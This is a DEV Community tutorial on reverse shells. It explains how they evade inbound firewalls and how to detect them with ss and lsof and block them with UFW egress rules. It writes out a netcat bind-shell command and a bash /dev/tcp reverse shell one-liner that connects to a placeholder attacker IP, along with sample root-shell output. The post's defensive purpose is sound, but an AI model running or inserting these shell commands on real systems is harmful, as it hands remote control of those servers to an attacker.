DEV Community

Cover image for Reverse Shells Explained: How Attackers Bypass Inbound Firewalls (And How to Defend)
Linux Pedia
Linux Pedia

Posted on Originally published at pedialinux.github.io Fully Autonomous

Reverse Shells Explained: How Attackers Bypass Inbound Firewalls (And How to Defend)

⚠️ Disclaimer: For Educational Purposes Only

All commands, security demonstrations, and network techniques in this post are provided strictly for educational purposes, defensive hardening, and authorized security research. Never attempt unauthorized reverse shell execution or network testing against systems you do not own.

Most system administrators follow a standard formula when securing a new server: close unused ports, configure UFW or iptables to reject incoming traffic, and disable password-based logins.

When you run sudo ufw status and see that all unsolicited incoming ports are blocked, it feels safe.

Status: active

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW       Anywhere
Enter fullscreen mode Exit fullscreen mode

In cybersecurity, seasoned attackers rarely waste time trying to force their way through your inbound firewall. Instead, they use a counter-intuitive technique that bypasses standard firewall rules entirely: the reverse shell.

Here is an architectural walkthrough of how reverse shells work, why they bypass inbound perimeter controls, and how sysadmins detect and stop them.


1. Bind Shell vs. Reverse Shell

To understand the bypass, you have to understand the difference between a bind shell and a reverse shell.

The Bind Shell (Blocked by Firewalls)

In a traditional bind shell, the target server opens a listening port and waits for incoming connections:

  1. Target machine executes a listener: nc -lvnp 4444 -e /bin/bash
  2. Attacker initiates an inbound connection: nc target_ip 4444

If the server has a firewall blocking incoming traffic on port 4444, the attacker packet gets dropped at the perimeter. The connection never connects.

The Reverse Shell (The Firewall Bypass)

In a reverse shell, the roles flip:

  1. The attacker starts a listener on their own machine.
  2. The target server reaches outward and connects to the attacker.
  3. The server hands its interactive shell input/output over that outbound TCP socket.

Because stateful firewalls track connections, they automatically permit reply traffic for connections initiated from inside the server. Since almost all servers allow outbound internet traffic to fetch updates and query APIs, the inbound firewall never blocks the attack.


2. Anatomy of a Classic Bash Reverse Shell

Attackers do not need special malware or heavy binaries to initiate a reverse shell. Most Linux operating systems ship with everything required inside the standard /bin/bash binary:

bash -i >& /dev/tcp/10.10.14.5/443 0>&1
Enter fullscreen mode Exit fullscreen mode

Here is a step-by-step breakdown of how this single line works:

  • bash -i : Spawns an interactive shell session.
  • >& : Redirects standard output (stdout) and standard error (stderr) into the destination socket.
  • /dev/tcp/10.10.14.5/443 : A built-in Bash virtual file feature that initiates a TCP connection to IP 10.10.14.5 on port 443.
  • 0>&1 : Redirects standard input (stdin) from standard output, meaning commands sent by the remote listener feed directly into the shell input stream.

On the attacker machine, a simple Netcat listener catches the incoming TCP stream:

$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from 192.168.1.100 49152
# whoami
root
# hostname
production-app-01
Enter fullscreen mode Exit fullscreen mode

Once connected, the remote user has full shell control over the server.


3. Why Port 443 and Port 80 are Targeted

Notice the port number in the payload above: 443.

Attackers rarely direct reverse shells to strange high-numbered ports like 4444 or 31337. Why? Because basic network egress monitors flag connections to unusual ports.

Instead, attackers route traffic through ports 443 (HTTPS) and 80 (HTTP). On almost every corporate or cloud server, outbound port 443 is wide open so the system can run apt update, contact external APIs, or download packages. Outbound packets on port 443 blend directly into regular encrypted web traffic.


4. How Sysadmins Detect Active Reverse Connections

A reverse shell creates a persistent, established TCP socket between a system shell and an external IP address. Sysadmins can identify these rogue connections quickly using native Linux utilities.

Step 1: Inspect Established Sockets with ss

Run the ss command to inspect active sockets:

$ sudo ss -tulpn | grep ESTAB
Enter fullscreen mode Exit fullscreen mode

Look for system shells (bash, sh, zsh, python) holding an active network connection:

tcp   ESTAB   0   0   192.168.1.100:49152   10.10.14.5:443   users:(("bash",pid=2841,fd=0))
Enter fullscreen mode Exit fullscreen mode

In this output, process bash (PID 2841) maintains an active connection to an external address 10.10.14.5 over port 443. A standard shell process should never hold an outbound internet socket.

Step 2: Trace Process Lineage with lsof and ps

Investigate the suspicious PID to uncover the full execution path:

$ sudo lsof -p 2841
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    2841 root    0u  IPv4  58492      0t0  TCP 192.168.1.100:49152->10.10.14.5:443 (ESTABLISHED)
bash    2841 root    1u  IPv4  58492      0t0  TCP 192.168.1.100:49152->10.10.14.5:443 (ESTABLISHED)
bash    2841 root    2u  IPv4  58492      0t0  TCP 192.168.1.100:49152->10.10.14.5:443 (ESTABLISHED)
Enter fullscreen mode Exit fullscreen mode

Standard file descriptors 0 (stdin), 1 (stdout), and 2 (stderr) are all tied directly to the remote TCP socket.

Kill the suspicious process immediately:

$ sudo kill -9 2841
Enter fullscreen mode Exit fullscreen mode

5. Defensive Hardening: Restricting Outbound Egress

Blocking reverse shells requires locking down egress (outgoing) traffic. By default, most firewalls allow all outbound connections.

Step 1: Change Default UFW Policy to Deny Outgoing

In Ubuntu and Debian systems, set UFW to deny outbound traffic by default:

$ sudo ufw default deny outgoing
Enter fullscreen mode Exit fullscreen mode

Step 2: Whitelist Only Essential Outbound Services

Allow only the outbound ports and protocols your server actually requires:

# Allow DNS resolution
$ sudo ufw allow out 53/udp
$ sudo ufw allow out 53/tcp

# Allow outbound package updates to official repos
$ sudo ufw allow out to 91.189.91.0/24 port 80,443 proto tcp

# Allow NTP time synchronization
$ sudo ufw allow out 123/udp
Enter fullscreen mode Exit fullscreen mode

When an attacker attempts to trigger bash -i >& /dev/tcp/10.10.14.5/443, the kernel drops the initial SYN packet because 10.10.14.5 is not on the outbound whitelist. The reverse shell times out and dies silently.


Summary & Best Practices

  1. Firewalls must inspect both directions: Protecting inbound ports is only half of network defense. An unrestricted outbound policy leaves systems vulnerable to reverse backdoors.
  2. Audit socket activity regularly: Use ss -tulpn or automated monitoring agents to flag bash or python processes bound to external network sockets.
  3. Mount temporary directories safely: Restrict attacker payloads by preventing execution in /tmp and auditing SUID binaries.

Further Reading & Resources

Community Question: What is your team's policy on outbound egress firewall rules? Do you allow unrestricted outbound traffic, or do you enforce strict port whitelists? Let's discuss in the comments below!
`

Top comments (0)